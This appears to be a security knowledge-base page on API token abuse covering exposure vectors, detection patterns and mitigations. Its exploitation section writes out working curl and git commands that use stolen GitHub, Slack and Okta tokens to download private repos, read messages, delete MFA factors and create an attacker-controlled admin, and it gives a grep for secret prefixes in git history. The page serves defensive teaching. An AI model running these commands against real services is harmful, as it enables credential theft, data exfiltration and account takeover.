API Token Abuse
ATT&CK: T1552.001 — Credentials in Files, T1552.004 — Private Keys
API tokens are static long-lived credentials that bypass MFA and standard authentication controls. They are the most common form of non-human identity credential and are routinely exposed in source code, CI/CD pipelines, and developer workstations.
Why API Tokens Are High-Value Targets
| Property | Risk |
|---|---|
| Static credentials | No rotation unless intentionally done |
| MFA bypass | Tokens authenticate programmatically — no MFA prompt |
| Broad scope | Tokens often scoped too broadly at creation |
| Widely exposed | Committed to repos, in config files, in browser history |
| Slow revocation | Organizations often don't know which tokens exist |
Common API Token Types
| Platform | Token Type | Typical Scope |
|---|---|---|
| GitHub | Personal Access Token (PAT), Fine-grained PAT | repo, org, admin |
| GitHub | GitHub App installation token | Org resources scoped by app |
| Slack | Bot token (xoxb-), User token (xoxp-) | Message read/write, user management |
| Salesforce | OAuth access token, API key | CRM data, admin functions |
| AWS | Access Key ID + Secret | IAM permissions |
| GCP | Service Account JSON key | GCP API access |
| Azure | Service principal client secret | Azure resource management |
| Okta | API token (SSWS) | Full admin API |
| Jira/Confluence | API token | Project/space read/write |
| PagerDuty | API key | Incident management |
Exposure Vectors
1. Source Code Repositories (Most Common)
# GitHub — search for secrets in public repos
# GitHub has secret scanning alerts but many slip through historically
# Common patterns to grep for in git history:
git log --all -p | grep -E "(AKIA|ghp_|xoxb-|xoxp-|sk-|SSWS)"
# Search git history even after "deletion"
git log --diff-filter=D -- '*.env'
git show <commit>:.env
2. CI/CD Pipeline Environment Variables
# GitLab CI example with accidentally exposed secret
variables:
GITHUB_TOKEN: "ghp_xxxxxxxxxxxxxxxxxxxx" # Should be in CI/CD secrets, not here
SLACK_WEBHOOK: "https://hooks.slack.com/services/T.../B.../xxx"
3. Hardcoded in Application Code
# Python example of hardcoded token (common in PoC code that gets committed)
OKTA_API_TOKEN = "00xxx-xxxxxxxxxxxxxxxx"
github_token = "ghp_xxxx"
slack_token = "xoxb-xxxx-xxxx-xxxx"
4. Browser Developer Tools / Local Storage
// Many SaaS web apps store tokens in localStorage — accessible via XSS
localStorage.getItem('api_token')
sessionStorage.getItem('auth_token')
Exploitation Examples
GitHub PAT
# Authenticate with stolen PAT
git clone https://<token>@github.com/org/private-repo.git
# List all repos the token can access
curl -H "Authorization: token ghp_xxx" https://api.github.com/user/repos
# Exfiltrate code
curl -H "Authorization: token ghp_xxx" \
"https://api.github.com/repos/org/private-repo/zipball" -L -o repo.zip
# If token has admin:org scope
curl -H "Authorization: token ghp_xxx" \
"https://api.github.com/orgs/myorg/members"
Slack Token
# xoxb- (bot token) or xoxp- (user token)
# List all channels
curl -H "Authorization: Bearer xoxb-xxx" \
"https://slack.com/api/conversations.list"
# Read messages from a channel
curl -H "Authorization: Bearer xoxb-xxx" \
"https://slack.com/api/conversations.history?channel=C0xxx"
# If user token with admin scope — list all workspace users
curl -H "Authorization: Bearer xoxp-xxx" \
"https://slack.com/api/users.list"
Okta API Token (SSWS)
# Full admin API access with stolen Okta SSWS token
# List all users
curl -H "Authorization: SSWS <stolen-token>" \
"https://company.okta.com/api/v1/users"
# Reset a user's MFA
curl -X DELETE -H "Authorization: SSWS <stolen-token>" \
"https://company.okta.com/api/v1/users/<userId>/factors"
# Create admin user
curl -X POST -H "Authorization: SSWS <stolen-token>" \
-H "Content-Type: application/json" \
-d '{"profile":{"firstName":"hacked","lastName":"user","email":"attacker@attacker.com","login":"attacker@attacker.com"},"credentials":{"password":{"value":"P@ssword123"}}}' \
"https://company.okta.com/api/v1/users?activate=true"
Detection Patterns
GitHub
- GitHub Advanced Security / Secret Scanning automatically detects common token patterns when committed
- GitHub Audit Log:
git.cloneevents with PAT authentication from unexpected IPs - Watch for
org.add_memberorteam.add_memberevents
Okta System Log
event.type = "system.api_token.create"
event.type = "user.account.reset_mfa_factor" AND actor.type != "User" (programmatic reset)
General API Abuse
// Unusual API call volume by API key
// (Platform-specific — most SaaS platforms surface this in their own logs)
// For AWS: CloudTrail high-volume API calls from single access key
AWSCloudTrail
| where userIdentity.type == "IAMUser"
| where userIdentity.accessKeyId == "<suspicious-key>"
| summarize count() by eventName, bin(eventTime, 1h)
| order by count_ desc
Mitigation
| Control | Effect |
|---|---|
| Secrets scanning in CI/CD (Gitleaks, TruffleHog) | Detect before commit reaches repo |
| GitHub Secret Scanning alerts | Automatic detection for major token formats |
| Rotate all tokens periodically (90 days) | Limit persistence window |
| Use short-lived tokens where possible (GitHub Apps over PATs) | Auto-expire eliminates long-term theft risk |
| Inventory all API keys (Astrix, Veza, SailPoint NHI) | Know what exists before attackers find it |
| Revoke tokens on employee offboarding | Don't leave tokens active for departed staff |
Cross-Links
| Topic | Link |
|---|---|
| OAuth App Abuse | oauth-app-abuse |
| SCIM Abuse | scim-abuse |
| IGA — NHI Governance | iga-overview |
| Astrix Security | itdr-vendor-landscape |